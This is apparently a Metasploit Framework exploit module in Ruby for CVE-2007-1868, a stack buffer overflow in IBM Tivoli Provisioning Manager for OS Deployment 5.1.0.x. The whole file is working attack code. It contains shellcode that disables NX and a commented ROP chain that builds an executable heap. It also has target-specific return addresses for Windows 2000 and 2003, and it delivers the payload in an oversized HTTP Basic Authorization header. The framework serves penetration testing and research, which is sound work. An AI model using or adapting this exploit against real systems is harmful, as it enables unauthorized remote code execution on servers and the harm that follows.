modules/exploits/windows/http/ibm_tpmfosd_overflow.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer Overflow',
'Description' => %q{
This is a stack buffer overflow exploit for IBM Tivoli Provisioning Manager
for OS Deployment version 5.1.0.X.
},
'Author' => 'toto',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-1868'],
[ 'OSVDB', '34678'],
[ 'BID', '23264'],
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-05' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
#'Space' => 0x200,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
'Prepend' =>
# Disable NX on 2k3 to upload data on the stack
# (service crashes if the stack is switched to the heap)
"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB
"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 5
"\x75\x30" + # jnz after
"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 2
"\x75\x27" + # jnz after
"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)
"\x76\x1b" + # jbe after
"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]
"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300
"\xb8\xed\x00\x00\x00" + # mov eax, 0xed
"\x6a\x04" + # push 4
"\x51" + # push ecx
"\x6a\x22" + # push 22
"\x6a\xff" + # push -1
"\x6a\xff" + # push -1 (padding)
"\xff\x12", # call dword ptr[edx]
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['TPMfOSD 5.1 (Windows 2000 SP4 - English)', { 'Rets' => [0x77bb53af, 0x77bb06f0, 0x75022ac5] }],
# tested against 5.1.0.1 and 5.1.0.2 (use ATL.Dll)
['TPMfOSD 5.1 (Windows 2003 All - English)', { 'IB' => 0x76a80000, 'Data' => 0x01061980 }],
],
'DisclosureDate' => '2007-05-02',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
])
end
def exploit
if target.name =~ /2003/
# the exploit allocates and executable heap to copy and execute the payload
auth = Rex::Text.rand_text_alphanumeric(2800)
ib = target['IB']
auth[ 2080, 4 ] = [ ib + 0x11010 ].pack('V') # store a data to prevent a crash
# ret 1:
# 76a81a5f:
# pop esi <- 0x76a91010
# pop ebx <- 0x76a91010
# pop ebp <- 0x76a91010
# retn
auth[ 2096, 4 ] = [ ib + 0x1a5f ].pack('V')
auth[ 2100, 4 ] = [ target['Data'] ].pack('V')
auth[ 2104, 4 ] = [ ib + 0x11010 ].pack('V')
auth[ 2108, 4 ] = [ ib + 0x11010 ].pack('V')
# ret 2:
# 76a817f0:
# pop esi <- 0x76a81512 (ocscpy pointer)
# retn
auth[ 2112, 4 ] = [ ib + 0x17f0 ].pack('V')
auth[ 2116, 4 ] = [ ib + 0x1512 ].pack('V')
# ret 3: (copy the payload in atl.dll data)
# 76a811c8
# lea eax, [esp+3c] <-- eax points to the payload
# push eax <- payload
# push ebp <- 0x76a91010
# call esi <- ocscpy
# cmp eax, ebx <- eax == ebx = 0x76a91010
# jnz before <- jump not taken
# mov eax, ebp
# pop edi
# pop esi
# pop ebp
# pop ebx
# add esp, 1ch
# retn
auth[ 2120, 4 ] = [ ib + 0x11c8 ].pack('V')
# ret 4: (increase the stack pointer to allow a jump back in the payload)
# add esp, 1ch
# retn
auth[ 2160, 4 ] = [ ib + 0x11da ].pack('V')
auth[ 2184, 2 ] = "\xeb\x56" # jmp payload
# ret 5: (create an executable heap - huge one)
# 76a8c0c4
# jmp ds:__imp_HeapCreate (0xffffffff, 0x01010101, 0x01010101)
auth[ 2196, 4 ] = [ ib + 0xc0c4 ].pack('V')
# ret 6:
# 76a817f0
# pop esi <- 0x76a92a38 (hHeap)
# retn
auth[ 2204, 4 ] = [ ib + 0x17f0 ].pack('V')
auth[ 2208, 4 ] = [ 0xffffffff ].pack('V')
auth[ 2212, 4 ] = [ 0x01010101 ].pack('V')
auth[ 2216, 4 ] = [ 0x01010101 ].pack('V')
auth[ 2220, 4 ] = [ ib + 0x12a38 ].pack('V')
# ret 7:
# 76a8190a
# mov [esi], eax <- store new heap in hHeap
# mov eax, esi
# pop esi
# retn 4
auth[ 2224, 4 ] = [ ib + 0x190a ].pack('V')
# ret 8 (_calloc - needed to allocate a small buffer to prevent a no mem exception):
# 76a88a29
# mov eax, [esp+arg_0] <- 0x7fffffa0
# imul eax, [esp+arg_4] <- eax * 0x7fffffa0 = 0x2400
# push eax
# call _malloc
# pop ecx <- ecx = 0x2400
# retn
auth[ 2232, 4 ] = [ ib + 0x8a29 ].pack('V')
# ret 9:
# 76a8c9ab
# add esp, 0ch
# retn 4
auth[ 2240, 4 ] = [ ib + 0xc9ab ].pack('V')
auth[ 2244, 4 ] = [ 0x7fffffa0 ].pack('V')
auth[ 2248, 4 ] = [ 0x7fffffa0 ].pack('V')
# ret 10 (copy payload into heap):
# 76a8c9a0
# push ecx <- 0x2400
# push [esp+8] <- 0x76a91010 (payload in atl.dll data)
# push eax <- heap pointer
# call _memcpy
# add esp, 0ch
# retn
auth[ 2256, 4 ] = [ ib + 0xc9a0 ].pack('V')
# ret 11 (jump into heap)
# 76a815e7
# call eax
auth[ 2264, 4 ] = [ ib + 0x15e7 ].pack('V')
auth[ 2268, 4 ] = [ ib + 0x11010 ].pack('V')
auth[ 2272, payload.encoded.length ] = payload.encoded
else
auth = Rex::Text.rand_text_alphanumeric(2800)
auth[ 2080, 4 ] = [ target['Rets'][1] ].pack('V')
auth[ 2096, 4 ] = [ target['Rets'][2] ].pack('V') # pop, ret
auth[ 2100, 4 ] = [ target['Rets'][1] ].pack('V')
auth[ 2104, 4 ] = [ target['Rets'][0] ].pack('V') # jmp esp
auth[ 2108, payload.encoded.length ] = payload.encoded
end
print_status("Trying target #{target.name}...")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{auth}"
}
}, 5)
handler
end
end